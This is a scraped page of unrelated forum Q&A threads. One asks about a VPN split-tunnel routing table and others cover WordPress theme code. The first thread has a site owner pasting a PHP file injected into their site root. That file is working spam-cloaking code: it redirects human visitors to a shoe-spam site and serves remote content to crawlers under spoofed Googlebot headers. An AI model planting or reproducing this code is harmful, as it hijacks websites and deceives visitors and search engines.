I found some spam url using the site domain name... check here :
URL Site Search
I was thinking about url injection, but I was not able to see them in my external links !
I suppose it comes from a wordpress plugin ? How to be sure ?
Is this another spam technic I am not aware about ?
Thanks for advice
Alright, I found part of the answer... A new file was injected into the root domain containing this type of file :
<?php
$tmp = "?" . strtolower($_SERVER['HTTP_USER_AGENT']);
if((strpos($tmp, 'bot') != true)){
echo '<script language="javascript" type="text/javascript"> window.location.href="http://www.max270shoes.com/#0425"; </script>
' . "\n";
}
function gethttpcnt($url,$username = '',$password = '',$timeout = 10){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
curl_setopt($ch,CURLOPT_REFERER,"http://www.google.com");
curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.72.240', 'CLIENT-IP:66.249.72.240'));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
$cnt = curl_exec($ch);
curl_close($ch);
return $cnt;
}
$fromsite="http://moresneakers.com/project/nike-wmns-air-max-97-ultra-wold-greymarina-blue-917704-001/";
$website="http://moresneakers.com/";
$pageURL = 'http';
if ($_SERVER["HTTPS"] == "on")
{
$pageURL .= "s";
}
$pageURL .= "://";
$sss= $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];
$sss=$pageURL . str_replace("index.php","",$sss);
$ss=$_SERVER['PHP_SELF'];
$ss=str_replace("index.php","",$ss);
$otherstring=$fromsite;
$content=gethttpcnt($otherstring);
$content=str_replace("\"images/","\"" . $website . "/images/",$content);
$content=str_replace("\"/images/","\"" . $website . "/images/",$content);
$content=str_replace("\"../images/","\"" . $website . "/images/",$content);
$content=str_replace("\"Images/","\"" . $website . "/images/",$content);
$content=str_replace("\"/Images/","\"" . $website . "/images/",$content);
$content=str_replace("\"../Images/","\"" . $website . "/images/",$content);
$content=str_replace("\"includes/templates/","\"" . $website . "/includes/templates/",$content);
$content=str_replace("\"/includes/templates/","\"" . $website . "/includes/templates/",$content);
$content=str_replace("\"../includes/templates/","\"" . $website . "/includes/templates/",$content);
$content=str_replace("\"min/","\"" . $website . "min/",$content);
$content=str_replace("\"media/","\"" . $website . "/images/",$content);
$content=str_replace("\"/media/","\"" . $website . "/images/",$content);
$content=str_replace("\"../media/","\"" . $website . "/images/",$content);
$content=str_replace("\"css/","\"" . $website . "/css/",$content);
$content=str_replace("\"/css/","\"" . $website . "/css/",$content);
$content=str_replace("\"../css/","\"" . $website . "/css/",$content);
$content=str_replace("\"skin/","\"" . $website . "/images/",$content);
$content=str_replace("\"/skin/","\"" . $website . "/images/",$content);
$content=str_replace("\"../skin/","\"" . $website . "/images/",$content);
$content=str_replace("\"js/","\"" . $website . "/images/",$content);
$content=str_replace("\"/js/","\"" . $website . "/images/",$content);
$content=str_replace("\"../js/","\"" . $website . "/images/",$content);
$content=str_replace("'images/","'" . $website . "/images/",$content);
$content=str_replace("'/images/","'" . $website . "/images/",$content);
$content=str_replace("'../images/","'" . $website . "/images/",$content);
$content=str_replace("'Images/","'" . $website . "/images/",$content);
$content=str_replace("'/Images/","'" . $website . "/images/",$content);
$content=str_replace("'../Images/","'" . $website . "/images/",$content);
$content=str_replace("'includes/templates/","'" . $website . "/includes/templates/",$content);
$content=str_replace("'/includes/templates/","'" . $website . "/includes/templates/",$content);
$content=str_replace("'../includes/templates/","'" . $website . "/includes/templates/",$content);
$content=str_replace("'min/","'" . $website . "min/",$content);
$content=str_replace("'media/","'" . $website . "/images/",$content);
$content=str_replace("'/media/","'" . $website . "/images/",$content);
$content=str_replace("'../media/","'" . $website . "/images/",$content);
$content=str_replace("'skin/","'" . $website . "/images/",$content);
$content=str_replace("'/skin/","'" . $website . "/images/",$content);
$content=str_replace("'../skin/","'" . $website . "/images/",$content);
$content=str_replace("'js/","'" . $website . "/images/",$content);
$content=str_replace("'/js/","'" . $website . "/images/",$content);
$content=str_replace("'../js/","'" . $website . "/images/",$content);
$content=str_replace('href="/','href="' . $website,$content);
$content=str_replace('"' . $fromsite . '"','"' . $sss . '"',$content);
$content=str_replace("'" . $fromsite . "'","'" . $sss . "'",$content);
echo $content;
?>
i still wonder how they added these files... admin hacked ?
I'm using a couple of different VPN products on Windows 7 which DO NOT allow for configuring of the split tunnel. I know it's possible to modify the route table after the vpn is connected, but i haven't some trouble getting it to work given other examples on SO. I would greatly appreciate any help.
I have done some obfuscation of the ips and domain-names, but otherwise it's exactly how i see it before i connect with the vpn.
>route print -4
===========================================================================
Interface List
15...24 77 03 df b2 05 ......Microsoft Virtual WiFi Miniport Adapter
14...24 77 03 df b2 04 ......Intel(R) Centrino(R) Ultimate-N 6300 AGN
11...d4 be d9 84 6a 63 ......Intel(R) 82579LM Gigabit Network Connection
1...........................Software Loopback Interface 1
36...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter
37...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #2
35...00 00 00 00 00 00 00 e0 Microsoft 6to4 Adapter #3
52...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #3
34...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo-Interface
39...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #8
===========================================================================
IPv4 Route Table
===========================================================================
Active Routes:
Network Destination Netmask Gateway Interface Metric
0.0.0.0 0.0.0.0 192.168.0.1 192.168.0.5 2
127.0.0.0 255.0.0.0 On-link 127.0.0.1 306
127.0.0.1 255.255.255.255 On-link 127.0.0.1 306
127.255.255.255 255.255.255.255 On-link 127.0.0.1 306
192.168.0.0 255.255.255.0 On-link 192.168.0.5 257
192.168.0.5 255.255.255.255 On-link 192.168.0.5 257
192.168.0.255 255.255.255.255 On-link 192.168.0.5 257
224.0.0.0 240.0.0.0 On-link 127.0.0.1 306
224.0.0.0 240.0.0.0 On-link 192.168.0.5 257
255.255.255.255 255.255.255.255 On-link 127.0.0.1 306
255.255.255.255 255.255.255.255 On-link 192.168.0.5 257
===========================================================================
Persistent Routes:
None
>ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : MYHOST
Primary Dns Suffix . . . . . . . : some-domain.net
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : some-domain.net
Wireless LAN adapter Wireless Network Connection 2:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Microsoft Virtual WiFi Miniport Adapter
Physical Address. . . . . . . . . : 24-77-03-DF-B2-05
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Wireless LAN adapter Wireless Network Connection:
Connection-specific DNS Suffix . : domain.actdsltmp
Description . . . . . . . . . . . : Intel(R) Centrino(R) Ultimate-N 6300 AGN
Physical Address. . . . . . . . . : 24-77-03-DF-B2-04
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
IPv4 Address. . . . . . . . . . . : 192.168.0.5(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Lease Obtained. . . . . . . . . . : Tuesday, September 17, 2013 9:30:25 AM
Lease Expires . . . . . . . . . . : Wednesday, September 18, 2013 9:30:29 AM
Default Gateway . . . . . . . . . : 192.168.0.1
DHCP Server . . . . . . . . . . . : 192.168.0.1
DNS Servers . . . . . . . . . . . : 192.168.0.1
205.112.132.23
NetBIOS over Tcpip. . . . . . . . : Enabled
Ethernet adapter Local Area Connection:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) 82579LM Gigabit Network Connection
Physical Address. . . . . . . . . : D4-BE-D9-84-6A-63
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Tunnel adapter isatap.{B56AB647-7178-40B4-ABA4-C6DCF51D1134}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Microsoft ISATAP Adapter #2
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Tunnel adapter isatap.{95E3911B-4B84-4447-9784-604AFA3ECF60}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Microsoft ISATAP Adapter #3
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Tunnel adapter Local Area Connection* 23:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Teredo Tunneling Pseudo-Interface
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Default Gateway . . . . . . . . . : ::
NetBIOS over Tcpip. . . . . . . . : Disabled
Tunnel adapter isatap.domain.actdsltmp:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . : domain.actdsltmp
Description . . . . . . . . . . . : Microsoft ISATAP Adapter #8
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
And this is what it looks like post-connection
>route print -4
===========================================================================
Interface List
57...02 05 85 7f eb 80 ......Juniper Networks Virtual Adapter
15...24 77 03 df b2 05 ......Microsoft Virtual WiFi Miniport Adapter
14...24 77 03 df b2 04 ......Intel(R) Centrino(R) Ultimate-N 6300 AGN
11...d4 be d9 84 6a 63 ......Intel(R) 82579LM Gigabit Network Connection
1...........................Software Loopback Interface 1
36...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter
37...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #2
35...00 00 00 00 00 00 00 e0 Microsoft 6to4 Adapter #3
52...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #3
34...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo-Interface
39...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #8
===========================================================================
IPv4 Route Table
===========================================================================
Active Routes:
Network Destination Netmask Gateway Interface Metric
0.0.0.0 0.0.0.0 On-link 62.120.66.47 11
62.120.66.47 255.255.255.255 On-link 62.120.66.47 266
62.129.16.182 255.255.255.255 192.168.0.1 192.168.0.5 2
127.0.0.0 255.0.0.0 On-link 127.0.0.1 306
127.0.0.1 255.255.255.255 On-link 127.0.0.1 306
127.255.255.255 255.255.255.255 On-link 127.0.0.1 306
192.168.0.0 255.255.255.0 On-link 62.120.66.47 11
192.168.0.5 255.255.255.255 On-link 192.168.0.5 257
192.168.0.255 255.255.255.255 On-link 62.120.66.47 266
224.0.0.0 240.0.0.0 On-link 127.0.0.1 306
224.0.0.0 240.0.0.0 On-link 192.168.0.5 257
224.0.0.0 240.0.0.0 On-link 62.120.66.47 266
255.255.255.255 255.255.255.255 On-link 127.0.0.1 306
255.255.255.255 255.255.255.255 On-link 192.168.0.5 257
255.255.255.255 255.255.255.255 On-link 62.120.66.47 266
===========================================================================
Persistent Routes:
None
>ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : MYHOST
Primary Dns Suffix . . . . . . . : SOMEDOMAIN.com
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : some.domain.names.com
Ethernet adapter Local Area Connection* 31:
Connection-specific DNS Suffix . : some-domain.names.com
Description . . . . . . . . . . . : Virtual Adapter
Physical Address. . . . . . . . . : 02-05-85-7F-EB-80
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
IPv4 Address. . . . . . . . . . . : 62.120.66.47(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.255
Default Gateway . . . . . . . . . : 0.0.0.0
DNS Servers . . . . . . . . . . . : 62.127.2.2
62.100.146.1
Primary WINS Server . . . . . . . : 62.100.145.1
NetBIOS over Tcpip. . . . . . . . : Enabled
Wireless LAN adapter Wireless Network Connection 2:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Microsoft Virtual WiFi Miniport Adapter
Physical Address. . . . . . . . . : 24-77-03-DF-B2-05
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Wireless LAN adapter Wireless Network Connection:
Connection-specific DNS Suffix . : domain.actdsltmp
Description . . . . . . . . . . . : Intel(R) Centrino(R) Ultimate-N 6300 AGN
Physical Address. . . . . . . . . : 24-77-03-DF-B2-04
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
IPv4 Address. . . . . . . . . . . : 192.168.0.5(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Lease Obtained. . . . . . . . . . : Tuesday, September 17, 2013 9:30:25 AM
Lease Expires . . . . . . . . . . : Wednesday, September 18, 2013 9:30:29 AM
Default Gateway . . . . . . . . . :
DHCP Server . . . . . . . . . . . : 192.168.0.1
DNS Servers . . . . . . . . . . . : 192.168.0.1
225.112.132.23
NetBIOS over Tcpip. . . . . . . . : Enabled
Ethernet adapter Local Area Connection:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) 82579LM Gigabit Network Connection
Physical Address. . . . . . . . . : D4-BE-D9-84-6A-63
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Tunnel adapter isatap.hyperras-ash-jpt.dupontnet.net:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . : some-domain.net
Description . . . . . . . . . . . : Microsoft ISATAP Adapter
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Tunnel adapter isatap.{B56AB647-7178-40B4-ABA4-C6DCF51D1134}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Microsoft ISATAP Adapter #2
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Tunnel adapter 6TO4 Adapter:
Connection-specific DNS Suffix . : some domain name
Description . . . . . . . . . . . : Microsoft 6to4 Adapter #3
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Default Gateway . . . . . . . . . :
DNS Servers . . . . . . . . . . . : 62.127.2.2
62.100.146.1
NetBIOS over Tcpip. . . . . . . . : Disabled
Tunnel adapter isatap.{95E3911B-4B84-4447-9784-604AFA3ECF60}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Microsoft ISATAP Adapter #3
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Tunnel adapter Local Area Connection* 23:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Teredo Tunneling Pseudo-Interface
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Tunnel adapter isatap.domain.actdsltmp:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . : domain.actdsltmp
Description . . . . . . . . . . . : Microsoft ISATAP Adapter #8
Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Working with a Wordpress theme and currently the icons in the header open in the current window which will take traffic away from the site. I would like them to open in a new window/tab. I know target="_blank" will get the result I need, just not sure of the syntax.
foreach( $gdl_social_icon as $social_name => $social_icon ) {
$social_link = get_option($social_icon['name']);
if( !empty($social_link) ) {
echo '<div class="social-icon"><a href="' . $social_link . ' ">' ;
echo '<img src="' . $social_icon['url'] . '" alt="' . $social_name . '"/>';
echo '</a></div>';
}
}
If I understand correctly what you're after, all you need is
echo '...<a href="' . $social_link . ' " target="_blank">';
Replace 4 line:
echo '<div class="social-icon"><a target="_blank" href="' . $social_link . ' ">' ;
So I tried creating some code that will display an icon on a post depending on the category. I tested it and it just brings up the alt text, the img element gets displayed in the code and the directory is correct, but no image? Is there something I'm missing, something I'm not doing with the images? Thank you.
foreach((get_the_category()) as $category) {
echo '<img class="catimg" src="images/cats/' . $category->cat_name . '.gif" alt="' . $category->cat_name . '" />'; }
Try this if you created images folder yourself inside the wp-content folder.
foreach((get_the_category()) as $category) {
echo '<img class="catimg" src="'.content_url().'/images/cats/' . $category->cat_name . '.gif" alt="' . $category->cat_name . '" />'; }
If the images are in the theme folder then you can use this:
foreach((get_the_category()) as $category) {
echo '<img class="catimg" src="'.get_template_directory_uri().'/images/cats/' . $category->cat_name . '.gif" alt="' . $category->cat_name . '" />'; }
I don't want to use Wordpress' built in media uploader.
I have a form (on the frontend) of my site, and I need to allow anyone to upload an image to my uploads folder in wp-content. I've found many tutorials, but they all tell me how to do it with the wordpress uploader. I need to be able to validate what users are uploading.
Any help is greatly appreciated!!!
Thanks.
Does this help?
WPTuts: Allow users to submit images to your site
PHP:
require_once(ABSPATH . "wp-admin" . '/includes/image.php');
require_once(ABSPATH . "wp-admin" . '/includes/file.php');
require_once(ABSPATH . "wp-admin" . '/includes/media.php');
$attachment_id = media_handle_upload('file-upload', $post->ID);
HTML:
<input type="file" name="file-upload" id="file-upload" />
Solved. This is the code I used to do it:
In my code:
require_once(ABSPATH . "wp-admin" . '/includes/image.php');
require_once(ABSPATH . "wp-admin" . '/includes/file.php');
require_once(ABSPATH . "wp-admin" . '/includes/media.php');
$attachment_id = media_handle_upload('file-upload', $post->ID);
In my form:
<input type="file" name="file-upload" id="file-upload" />